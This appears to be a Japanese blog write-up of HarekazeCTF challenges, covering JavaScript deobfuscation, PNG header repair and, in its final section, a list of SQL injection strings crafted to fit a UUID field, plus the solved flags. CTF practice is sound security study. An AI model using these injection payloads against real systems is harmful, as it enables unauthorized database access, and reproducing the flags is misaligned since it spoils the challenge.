久しぶりにCTFやれる、まとまった時間が作れたので参加してみた。全体での順位は230ptで131/447だった。修行が足りなすぎる。
ObfuscatedPasswordChecker
配布されるsrc.zip
を展開してみるとhtmlファイルとjsファイルが含まれている。htmlファイルをブラウザで開いてみるとパスワードフォームが表示される。ここに何かの入力値を入れると、何か起きそうだと考えた。
試しに開発者ツールのNetworkタブを開きながら、適当な文字列を入力してボタンをおしてみる。タブ内に変化はなく、リクエストは送信されていないと分かる。つまり、このhtmlとjsで構成されるクライアント側で完結するアプリだと考えられる。
次に、JavaScriptの挙動を追跡してみる。ブラウザの開発者ツールから「ボタンが押された時」に関するイベントを探してみる。
bundle.js
の1行目にボタンを押した時の処理があることが分かる。実際にbundle.js
を表示して整形してみる。
次にボタンが押された時に、「入力値がどのように判定されているか」を調べてみる。ボタンが押された後の処理は311行目から319行目までの範囲にかかれている。
この中にif文
がふくまれている。このソース全体は軽めな難読化がされているのでif文
の内部の処理を分析してみる。
ブラウザのConsoleで変数やメソッドなどを展開できるので、これを使って値の中身を確認する。するとsuccess
という文字列が314行目で代入されていることが分かる。次に315行目ではcongraz! the flag is:
という文字列と変数_0x256968
の値が文字列結合されていることが分かる。
つまり、変数_0x256968
がFLAGに関わっていると考えられた。この変数に着目すると313行目で変数_0x5d7c01
と比較されており、305行目で宣言と代入が行われていることが分かる。
試しに305行目の代入値をConsoleで確認してみるとFLAGの中身であった。おそらく変数_0x5d7c01
がブラウザのフォームでの入力値だったと考えられる。
HarekazeCTF{j4v4scr1pt-0bfusc4t0r_1s_tsur41}
Lost_data
ファイルlost_data.zip
を解凍すると xxxxx.zip
と data.zip
が出てくる。さらに data.zip
を解凍すると1, 2, 3というファイルが出てくる。テキストエディタなので開いてみるとファイルがバイナリファイルであることが分かる。
バイナリエディタやhexdumpなどで中身を覗いてみるとPNGファイルにみられるチャンクとよばれる構造が確認できる。ファイル構造を確認するとヘッダにPNGの特徴であるASCII表現された「PNG」が見られない。
hexdump -C 1 00000000 89 2e 2e 2e 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |............IHDR| 00000010 00 00 00 6f 00 00 00 6f 01 03 00 00 00 d8 0b 0c |...o...o........| 00000020 23 00 00 00 06 50 4c 54 45 7d c7 ff ff ff ff 97 |#....PLTE}......|
そこで、バイナリエディタでその部分を書き換える。
hexdump -C ../../data/1 00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR| 00000010 00 00 00 6f 00 00 00 6f 01 03 00 00 00 d8 0b 0c |...o...o........| 00000020 23 00 00 00 06 50 4c 54 45 7d c7 ff ff ff ff 97 |#....PLTE}......|
そして、画像ビューワなどで開くと2次元コードの画像が計3枚でてくる。これらをスキャンして結合すると HarekazeCTF{Y0u_G0t_FuNNy_F1ag_?DF?_T?_is_xxxxx}
が出てくる。
この後に xxxxx
を置き換えることが必要になるが、ファイル xxxxx.zip
が関連していることは分かったが何をすればいいのか方針が立たない。ひとまず放置しておいた。
後からヒントでファイルシステムという単語と xxxxx.zip
に含まれるファイル一覧から何となく「FAT(16|32|64)」あたりで試したらフラグが落ちてきた。
HarekazeCTF{Y0u_G0t_FuNNy_F1ag_?DF?_T?_is_FAT32}
Sokosoko Secure Uploader
'OR 2=10-1OR3-2=22-(100-1)OR id LIKE'5a%' xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx 21313134-3413-3134-3143-311232131231 'OR 1=1;--222-2222-2222-222222222222 'OR id LIKE '|| id LIKE '9e5a%' -- - - - 1=1 --222-2222-2222-22222222222' 21313134-3413-3134-3143-311232131231 '||1=100-1000-1000-1000-1|| 'OR id/*-0000-0000-0000-*/9e5a 21313134-3413-3134-3143-311232131231 'OR id BETWEEN '9e5a0' AND '9e5a1' 21313134-3413-3134-3143-311232131231 'OR id LIKE '%e5a%'; 'OR id LIKE CONCAT('%e5a%';
コメントを残す